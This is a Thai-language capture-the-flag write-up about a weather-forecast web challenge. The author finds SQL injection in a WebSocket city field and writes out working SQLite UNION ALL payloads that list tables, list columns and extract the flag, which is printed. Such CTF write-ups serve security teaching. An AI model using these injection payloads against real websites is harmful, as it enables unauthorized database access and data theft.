
โจทย์นี้คือการหาช่องโหว่ของเว็บไซต์พยากรณ์อากาศ เพื่อดึง Flag ออกมา
โดยเปิดเว็บแล้วจะเป็นหน้าเว็บบอกพยากรณ์อากาศ โดยหากกรอกชื่อ Bangkok จะขึ้นข้อมูลพยากรณ์อากาศ

แต่ถ้ากรอกจังหวัดอื่นจะขึ้นว่า City not found แทน

ในช่วงนั้นก็นั่งนึกคิดอยู่ว่า ใช้อะไรคุยกันหว่า ก็เลยลองเช็ค Protocol ดู มันคืออ Websocket ที่ติดต่อกันไปกันมา (แต่ผมโดนหลอกหลงกลนานมากกว่าจะรู้ตัว ;w;)
แล้วก็นึกว่า “หรือว่าหลังเป็น JS หรือเปล่าที่รัน eval script ได้ (ซึ่งไม่เกี่ยวเลย 555)” ก็เลยลองใส่ดูแบบ Single quote ปรากฏว่า

ผมก็ “อ้อวววว SQL Injection นิเองงง” ก็เลยลองสแกน Table และ Column ดูว่าในนนี้มีอะไรบ้าง (ซึ่งโจทย์นี้ใช้ SQLite ในการรันขึ้นมา ดังนั้นไม่ยากมากที่จะได้ flag ออกมา)
แต่เอ๊ะ แล้วมันส่งข้อมูลกลับมายังไงละ?! ผมก็ลองพิจารณาจากข้อมูลที่ส่งมาจาก Websocket ดังนี้
{ "city": "Bangkok", "temperature": 32, "humidity": 65, "condition": "Partly Cloud"}นั่งคิดอยู่สักพัก แล้วก็นึกว่า “ถ้ามันเป็นข้อมูลตามที่เรียงมา งั้นแสดงว่า… อันนี้ชื่อ Column สินะ!"" ก็เลยลองเขียน SQL เป็นการ Append data เข้าไปโดยการใช้ Query UNION ALL
' UNION ALL select 'Test',0,0,'' --{ "city": "Test", "temperature": 0, "humidity": 0, "condition": ""}โป๊ะเช๊ะ! เจอแล้ว งั้นก็ได้เวลาดึง Flag ออกมาแล้ว >w< ” งั้นเริ่มกันเลย! แต่ก่อนอื่นเราต้องรู้ก่อนว่า Flag นั้นซ่อนอยู่ใน Table ไหนกันนะ โดยเราจะหาทีละขั้นตอน โดยจะแสดง table ออกมาก่อนแล้วค่อยดูชื่อ Column ตามที่อยู่ในแต่ละ Table
คำสั่งดู Table ทั้งหมด
' UNION ALL select json_group_array(name),0,0,'' from sqlite_master WHERE type = 'table' --
อ่าห้า! เจอแล้ว Table “flag” ทีนี้ลองสแกนดู Column หน่อยว่ามีอะไรด้านในบ้างกันนะ
' UNION ALL select json_group_array(name),0,0,'' from pragma_table_info('flag') --
["id","flag_value"]เอาละทีนี้เราก็รู้แล้วว่า Table ไหนและ Column ไหนแล้ว ก็มาสร้าง SQL query ในการดึงข้อมูลออกมากัน
จนได้เป็นคำสั่งนี้มา
' UNION ALL SELECT flag_value,0,0,'' FROM flag; --
TEMPEST{79151c0d77bcd5295414ee54560d8cbf}ไปกันต่อ ~